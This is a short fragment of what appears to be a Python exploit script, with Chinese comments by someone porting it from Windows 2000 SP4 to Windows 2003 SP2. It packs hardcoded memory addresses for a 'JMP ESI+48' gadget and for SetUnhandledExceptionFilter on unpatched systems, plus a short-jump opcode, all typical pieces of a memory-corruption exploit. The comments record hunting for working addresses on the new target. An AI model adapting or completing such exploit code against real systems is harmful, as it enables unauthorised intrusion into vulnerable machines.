#此处他说的jmp ESI+48的地址在Win2003中找不到，而且我只找到advapi32.dll文件，没有发现advapi.dll这个文件
ret = struct.pack("<L",0x7c2f62b6) # 7c2f62b6 advapi.dll JMP ESI+48 SP4 No Patches
#ueh = struct.pack("<L",0x7C54144C) # SetUnhandledExceptionFilter 0x7C54144C win2k SP4 No Patches
#这个我已经找到win2003下的替换地址了
ueh = struct.pack("<L",0x7C842060) # SetUnhandledExceptionFilter 0x7C842060 win2003 SP2 No Patches
tap = struct.pack("<L",0xeb169090) # Short Jump over some garbage
